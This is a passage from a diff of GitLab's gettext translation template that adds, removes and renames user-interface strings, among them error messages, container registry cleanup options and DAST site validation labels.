+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
